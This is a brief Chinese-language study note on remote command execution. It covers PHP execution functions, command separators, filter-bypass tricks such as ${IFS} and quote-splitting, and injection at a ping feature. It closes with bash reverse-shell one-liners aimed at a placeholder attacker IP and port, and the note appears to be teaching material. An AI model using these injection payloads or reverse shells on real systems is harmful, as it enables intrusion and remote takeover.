RCE(remote command execute)远程命令执行。应用程序的某些功能需要调用可以执行的系统命令的函数,如果这些函数或者函数的参数被用户控制,就可能通过命令连接符将恶意的命令拼接到函数中,从而执行系统命令。
常见的命令执行函数
system 执行系统命令 执行命令并显示输出 相当于在windows下控制cmd 在Linux下/bin/bash和/bin/sh这时linux系统下两个不同的终端
exec 执行系统命令 执行命令但不输出
shell_exec 执行系统命令,但不进行输出,输出结果以完整的字符串返回
passthru 执行系统命令,原样输出结果,没有返回值
eval()、assert()将括号内的内容按照php代码执行
常见的Windows系统下的命令连接符
& 符号前面的语句为假,则执行符号后的语句;若符号前面的语句为真,则符号前后语句都执行
&& 符号前面的语句为假,则直接报错不执行符号后的语句;若符号前面的语句为真,则符号前后的语句都执行
| 符号前的语句为假,则语句报错后面的语句不执行;若符号前面的语句为真,则执行符号后语句
|| 符号前面语句为假,则执行符号后面的语句;若符号前面的语句为真,则执行符号前的语句
常见的Linux系统下的命令连接符
& 符号前面的语句为假,则执行符号后的语句;若符号前面的语句为真,则符号前后语句都执行
&& 符号前面的语句为假,则直接报错不执行符号后的语句;若符号前面的语句为真,则符号前后的语句都执行
| 不论符号前的语句真假,都会执行符号后面的语句,当符号前面的语句为真时,会执行前面的语句但不输出,会将结果传给符号后面的语句 如:netstat -pantu | grep 22 可以对端口进行筛选输出
|| 符号前面语句为假,则执行符号后面的语句;若符号前面的语句为真,则执行符号前的语句
;命令按顺序执行
命令执行绕过
1、空格被过滤
在老版本中可以使用${IFS}、${IFS}$9、$IFS$9代替空格、通过{cat,file}代替 cat file
在新版本中使用<>或<代替空格
2、关键字被过滤
在老版本中,通过赋值的方式绕过 a=c;b=a;c=t;$a$b$c file1(cat file1)
在新版本中,c'a't<>file1
远程命令执行漏洞实例
1、找到一个执行系统命令的点
2、这个点可以执行的系统命令只有ping,可以通过命令的连接符来插入恶意的系统命令。
常见的反弹shell
在Linux系统下 连接到攻击者的主机(前提攻击者需要提前在端口上进行监听)
bash -i >& /dev/tcp/攻击者ip/攻击者端口 0>&1
将终端通过tcp的方式交给攻击者ip的指定端口,攻击者主机此时可以拿到shell
/bin/bash -i >& /dev/tcp/攻击者ip/攻击者端口 0<& 2>&1
bash -c "/bin/bash -i >& /dev/tcp/攻击者ip/攻击者端口 0>&1